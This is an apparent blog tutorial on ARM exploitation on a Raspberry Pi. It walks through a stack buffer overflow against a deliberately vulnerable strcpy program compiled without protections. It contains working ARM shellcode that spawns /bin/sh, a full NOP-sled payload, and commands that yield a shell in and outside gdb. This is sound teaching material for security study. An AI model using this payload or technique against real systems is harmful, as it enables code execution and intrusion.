ARM Exploitation with Raspberry Pi: Basic Stack Overflow

3 minute read

In this post, we will exploit a vulnerable C program using basic Stack Overflow attack. Before starting reading this post you should read this post first:

Example C Code

We will use the following code that uses a vulnerable function strcpy() function that does not check the limit of the content to be copied.

Therefore, we can overflow the whole buffer and exploit the program by putting our shellcode there and calling it to be executed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Function to test overflow
void IShouldNeverBeCalled() {
    puts("I should never be called");
    exit(0);
}

// This is our vulnerable function
void vulnerable(char *arg) {
    char buff[100];
    // to print return address
    printf("%p\n",&buff[0]);  
    strcpy(buff, arg);
}

// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

Compilation

Assuming you have already disabled the ASLR, let’s compile the code now:

$ gcc -fno-stack-protector -z execstack overflow.c -o overflow

Here we have disabled the stack protection (-fno-stack-protector) and enabled execution (-z execstack) within the stack.

Debugging with gdb

Now, let’s debug the code using gdb:

$ gdb -q ./overflow

Now, if we disassemble the main function, we will see an example disassembled code like below one:

gef➤  disass main
Dump of assembler code for function main:
   0x000104e4 <+0>:		push	{r11, lr}
   0x000104e8 <+4>:		add	r11, sp, #4
   0x000104ec <+8>:		sub	sp, sp, #8
   0x000104f0 <+12>:	str	r0, [r11, #-8]
   0x000104f4 <+16>:	str	r1, [r11, #-12]
   0x000104f8 <+20>:	ldr	r3, [r11, #-12]
   0x000104fc <+24>:	add	r3, r3, #4
   0x00010500 <+28>:	ldr	r3, [r3]
   0x00010504 <+32>:	mov	r0, r3
   0x00010508 <+36>:	bl	0x104b8 <vulnerable>
   0x0001050c <+40>:	mov	r3, #0
   0x00010510 <+44>:	mov	r0, r3
   0x00010514 <+48>:	sub	sp, r11, #4
   0x00010518 <+52>:	pop	{r11, pc}
End of assembler dump.

Now, let’s put a breakpoint at address 0x0001050c and run the program:

gef➤  b *0x0001050c
Breakpoint 1 at 0x1050c

As the buffer size is 100, the return address will be after 104th character. Now, let’s put 104 character in total to overflow the buffer. Therefore, we find the following error:

gef➤  run $(python -c 'print "A"*100+"BBBB"')
Starting program: /home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy/buf $(python -c 'print "A"*100+"BBBB"')

Program received signal SIGSEGV, Segmentation fault.

Because, we will use a NOP sled first, we need to know any starting address that points back to the NOP sled of the buffer. NOP stands for No Operation and it can be any harmless instruction or random binary. Therefore, we can look into the addresses following the instruction provided below:

gef➤  x/100x $sp-200
0x7efff3d8:	0x7efff49c	0x76fde10c	0x76ff97c8	0x00000001
0x7efff3e8:	0x00000001	0x00000000	0x00000000	0x76e7d224
0x7efff3f8:	0x0001051c	0x00000000	0x00010374	0x00000000
0x7efff408:	0x00000000	0x76fe5320	0x7efff434	0x7efff77c
0x7efff418:	0x0001051c	0x00000000	0x00010374	0x00000000
0x7efff428:	0x7efff598	0x7efff77c	0x00000000	0x41414141
0x7efff438:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff448:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff458:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff468:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff478:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff488:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff498:	0x42424242	0x00010500	0x7efff604	0x00000002
0x7efff4a8:	0x00000000	0x76e8f678	0x76fb4000	0x7efff604
0x7efff4b8:	0x00000002	0x000104e4	0x76ffecf0	0x7efff550
0x7efff4c8:	0xed78f5ef	0xe56ff76b	0x0001051c	0x00000000
0x7efff4d8:	0x00010374	0x00000000	0x00000000	0x00000000
0x7efff4e8:	0x76fff000	0x00000000	0x00000000	0x00000000
0x7efff4f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x7efff508:	0x00000000	0x00000000	0x00000000	0x00000000
0x7efff518:	0x00000000	0x00000000	0x00000000	0x00000000
0x7efff528:	0x00000000	0x00000000	0x00000001	0x00000001
0x7efff538:	0x00001000	0x76fd89f8	0x00000000	0x7efff604
0x7efff548:	0x76fffb18	0x76fff960	0xffffffff	0x76fff000
0x7efff558:	0x76e85024	0x76ff94b0	0x7efff598	0x00000000

Now, let’s target the address 0x7efff448. We will use this address as the return address so that after copying the contents to the buffer, the return address points back to the NOP sled.

Now, let’s exploit the program with our NOP sled, shellcode, and the return address. The payload looks like as follows:

payload = NOP sled + shellcode + return address

where,

NOP sled = "\xe1\xa0\x10\x01" (MOV R1, R1)
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"
return address = "\x48\xf4\xff\x7e"

Note that we will have to put the instructions and the address from the opposite order (Little Endian). Except, here the shellcode already is in that format.

Now, let’s use the payload for exploitation:

gef➤  run $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')
Starting program: /home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy/buf $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')
process 6637 is executing new program: /bin/dash
$ pwd
/home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy
$ 

So, we see, we have received the expected shell after running the command.

Here, the complete string looks like as follows:

\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58AAAA\x48\xf4\xff\x7e

Run in terminal

Now, let’s exploit the program outside the debugger.

pi@raspberry:~$ ./overflow $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')

$ 

One thing you should rember is the return address usually changes outside the debugger because gdb loads environment variable in a different way.

So, use this line in your program to print the start address of the buffer first, then use the address as little endian.

// to print return address
 printf("%p\n",&buff[0]);  

Leave a Comment